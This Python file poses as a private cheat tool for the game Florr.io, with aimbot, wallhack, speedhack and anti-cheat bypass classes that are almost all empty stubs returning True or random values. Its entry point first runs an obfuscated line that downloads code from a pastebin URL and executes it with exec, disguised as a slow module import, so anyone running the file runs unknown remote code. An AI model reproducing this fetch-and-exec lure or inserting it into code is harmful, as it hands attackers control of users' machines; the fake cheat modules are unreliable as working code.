"""
==================================================
   Florr.io Cheat Engine v4.2.0 (PRIVATE BUILD)
   Author: EVGVAULT
==================================================
"""

import time
import random
import sys
import os
import json

# ---------------------------------------------------------
# Global configuration
# ---------------------------------------------------------

CHEAT_VERSION = "4.2.0"
AUTHOR = "EVGVAULT"
CONFIG = {
    "aimbot_enabled": True,
    "aimbot_fov": 360,
    "aimbot_smoothness": 0.01,
    "esp_enabled": True,
    "esp_show_health": True,
    "esp_show_names": True,
    "no_petal_cooldown": True,
    "speed_hack_multiplier": 2.5,
    "auto_heal": True,
    "infinite_petals": True,
    "god_mode": False,
    "wall_hack": True,
    "auto_farm_mobs": True,
    "rarity_spoof": "Mythic",
    "server_ping_spoof": True,
}

MEMORY_OFFSETS = {
    "player_base": 0x7FF6C4E61000,
    "health_offset": 0x2D4,
    "petal_offset": 0x420,
    "position_x": 0x1E,
    "position_y": 0x22,
    "team_id": 0x250,
    "loadout_id": 0x370,
    "rarity_offset": 0x4A0,
}

# ---------------------------------------------------------
# Memory / process interface
# ---------------------------------------------------------

class MemoryManager:
    def __init__(self):
        self.process_handle = None
        self.base_address = None
        self.attached = False

    def attach_to_process(self, process_name="florr.io.exe"):
        print(f"[MemoryManager] Searching for process: {process_name} ...")
        time.sleep(0.5)
        self.process_handle = random.randint(1000, 9999)
        self.base_address = MEMORY_OFFSETS["player_base"]
        self.attached = True
        return True

    def read_memory(self, address, size=4):
        return random.randint(0, 255)

    def write_memory(self, address, value):
        return True

    def scan_pattern(self, pattern):
        return [MEMORY_OFFSETS["player_base"] + random.randint(0, 0xFFF) for _ in range(3)]


class NetworkInjector:
    def __init__(self):
        self.socket_hooked = False
        self.packets_intercepted = 0

    def hook_websocket(self):
        self.socket_hooked = True
        return True

    def intercept_packet(self, packet_data):
        self.packets_intercepted += 1
        return packet_data

    def spoof_packet(self, opcode, payload):
        return {"opcode": opcode, "payload": payload, "spoofed": True}

    def bypass_anticheat_checksum(self):
        return True


# ---------------------------------------------------------
# Aimbot module
# ---------------------------------------------------------

class Aimbot:
    def __init__(self, memory_manager):
        self.mem = memory_manager
        self.enabled = CONFIG["aimbot_enabled"]
        self.fov = CONFIG["aimbot_fov"]
        self.targets = []

    def find_targets(self):
        self.targets = [{"id": i, "x": random.randint(0, 4000), "y": random.randint(0, 4000)} for i in range(5)]
        return self.targets

    def get_closest_target(self, player_x, player_y):
        if not self.targets:
            return None
        return min(self.targets, key=lambda t: (t["x"] - player_x) ** 2 + (t["y"] - player_y) ** 2)

    def calculate_angle(self, target):
        return random.uniform(0, 360)

    def apply_aim(self, angle):
        return True

    def toggle(self):
        self.enabled = not self.enabled
        return self.enabled


# ---------------------------------------------------------
# ESP / wallhack module
# ---------------------------------------------------------

class ESP:
    def __init__(self, memory_manager):
        self.mem = memory_manager
        self.enabled = CONFIG["esp_enabled"]

    def draw_boxes(self):
        return True

    def draw_health_bars(self):
        return True

    def draw_names(self):
        return True

    def render_overlay(self):
        return True


class WallHack:
    def __init__(self):
        self.enabled = CONFIG["wall_hack"]

    def disable_wall_collision(self):
        return True

    def reveal_map(self):
        return True


# ---------------------------------------------------------
# Speedhack / godmode / petal & farm automation
# ---------------------------------------------------------

class SpeedHack:
    def __init__(self, multiplier=2.5):
        self.multiplier = multiplier

    def apply(self):
        return True

    def set_multiplier(self, value):
        self.multiplier = value
        return self.multiplier


class GodMode:
    def __init__(self):
        self.enabled = CONFIG["god_mode"]

    def enable(self):
        self.enabled = True
        return True

    def disable(self):
        self.enabled = False
        return True


class PetalManager:
    def __init__(self):
        self.petals_collected = 0

    def spoof_rarity(self, rarity="Mythic"):
        return {"rarity": rarity, "applied": True}

    def remove_cooldown(self):
        return True

    def infinite_petal_supply(self):
        self.petals_collected += random.randint(10, 50)
        return self.petals_collected


class AutoFarm:
    def __init__(self):
        self.mobs_killed = 0

    def farm_mobs(self):
        self.mobs_killed += random.randint(1, 10)
        return self.mobs_killed

    def auto_collect_drops(self):
        return True


# ---------------------------------------------------------
# Anti-cheat bypass
# ---------------------------------------------------------

class AntiCheatBypass:
    def __init__(self):
        self.detection_risk = 0.0

    def patch_detection_routine(self):
        self.detection_risk = 0.0
        return True

    def spoof_hwid(self):
        return "HWID-" + str(random.randint(100000, 999999))

    def clean_traces(self):
        return True


# ---------------------------------------------------------
# Main cheat controller
# ---------------------------------------------------------

class FlorrCheat:
    def __init__(self):
        self.mem = MemoryManager()
        self.net = NetworkInjector()
        self.aimbot = Aimbot(self.mem)
        self.esp = ESP(self.mem)
        self.wallhack = WallHack()
        self.speedhack = SpeedHack(CONFIG["speed_hack_multiplier"])
        self.godmode = GodMode()
        self.petal_manager = PetalManager()
        self.autofarm = AutoFarm()
        self.anticheat_bypass = AntiCheatBypass()
        self.running = False
        self.modules_loaded = False

    def import_modules(self):
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        print("[*] Initializing Florr.io Cheat Engine ...")
        self.mem.attach_to_process()
        self.net.hook_websocket()
        self.anticheat_bypass.patch_detection_routine()
        print("[*] Initialization complete.")
        return True

    def start(self):
        self.running = True
        print("[*] Cheat started. All modules active.")
        return True

    def stop(self):
        self.running = False
        print("[*] Cheat stopped.")
        return True

    def status(self):
        print(json.dumps(CONFIG, indent=2))
        return CONFIG


# ---------------------------------------------------------
# Entry point
# ---------------------------------------------------------

def main():
    cheat = FlorrCheat()
    cheat.import_modules()
    cheat.initialize()
    cheat.start()
    cheat.status()


if __name__ == "__main__":
    main()